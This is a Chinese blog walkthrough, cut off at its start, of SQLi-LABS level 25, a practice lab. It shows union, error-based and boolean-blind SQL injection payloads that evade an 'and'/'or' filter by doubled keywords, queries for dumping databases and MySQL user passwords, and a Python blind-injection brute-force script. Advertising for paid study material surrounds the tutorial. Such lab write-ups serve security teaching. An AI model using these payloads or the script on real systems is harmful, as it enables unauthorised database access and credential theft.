SQLi LABS Less 25 联合注入+报错注入+布尔盲注_sqlilabs靶场25过关

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

?id=1’ oorrder by 3 – a

?id=1’ oorrder by 4 – a

第四个字段排序时,开始报错,确定字段数为:4.

第三步、判断显示位

地址栏输入:?id=0’ union select 1,2,3 – a

第四步、脱库

以获取当前使用的数据库为例,地址栏输入以下payload:

?id=0' union select 1,
	(database())
,3 -- a

其余脱库操作是,将下图中圈中的位置替换成SQL语句即可:

常见的脱库语句如下:

# 获取所有数据库
select group_concat(schema_name)
from information_schema.schemata
 
# 获取 security 库的所有表
select group_concat(table_name)
from information_schema.tables
where table_schema="security"
 
# 获取 users 表的所有字段
select group_concat(column_name)
from information_schema.columns
where table_schema="security" and table_name="users"

# 获取数据库管理员用户密码
select group_concat(user,passwoorrd) 
from mysql.user where user = "mituan"

方式二:报错注入

报错注入的详细使用方法可以参考我的另一篇文章:

报错注入使用详解,原理+步骤+实战教程

第一步、判断注入点

地址栏输入:?id=1’

页面显示数据库的报错信息,分析报错信息,确定注入点为单引号字符型注入。

第二步、判断报错条件

地址栏输入:?id=1’ anandd updatexml(1,0x7e,3) – a

页面显示报错函数的内容,确定报错函数可用。

第三步、脱库

以获取当前使用的数据库为例,地址栏输入以下payload:

?id=1' aandnd updatexml(1,
	concat(0x7e,
		(database())
		)
,3) -- a

其余脱库操作时,将下图中圈中的位置替换为SQL语句即可:

方式三:布尔盲注

布尔盲注的详细使用方法可以参考我的另一篇文章:

布尔盲注使用详解,原理+步骤+实战教程

第一步、判断注入点

地址栏输入:?id=1’ anandd 1 – a,页面正常显示

地址栏输入:?id=1’ anandd 0 – a,页面异常(空)显示

第二步、判断长度

获取当前使用数据库名字的长度,地址栏输入:

?id=1' anandd length(
	(database())
) >1 -- a

长度肯定大于1,页面正常显示,确定payload可用,从1开始,依次递增测试长度,稍后使用脚本测试。

第三步、枚举字符

获取当前使用数据库名字的字符,截取第一个字符,转换成ASCLL码,判断字符的ASCLL码是否大于1,地址栏输入:

?id=1' anandd ascii(
	substr(
		(database())
	,1,1)
) >1 -- a

字符的ASCLL码肯定大于1,页面正常显示,确定payload可用。

依次判断ASCLL码是否等于32~126。稍后使用脚本测试。

脱库

Python自动化猜解脚本如下,可按需修改:

import requests

# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload

# 目标网址(不带参数)
url = "http://9423b2d25db1466eaaf53942d467dc44.app.mituan.zone/Less-25/"
# 猜解长度使用的payload
payload_len = """?id=1' anandd length(
	(database())
) ={n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' anandd ascii(
	substr(
		(database())
	,{l},1)
) ={n} -- a"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面中出现此内容则表示成功
        if 'Your Login name' in response.text:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length+1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(l= l, n= n))
            # print('我正在猜解', n)
            # 页面中出现此内容则表示成功
            if 'Your Login name' in response.text:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

执行结果如下:

其余脱库操作时,将下图中圈中的位置,替换成SQL语句即可:

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

😝朋友们如果有需要的话,可以联系领取~

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

2️⃣视频配套工具&国内外网安书籍、文档
① 工具

② 视频

image1

③ 书籍

image2

资源较为敏感,未展示全面,需要的最下面获取

在这里插入图片描述在这里插入图片描述

② 简历模板

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 14
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值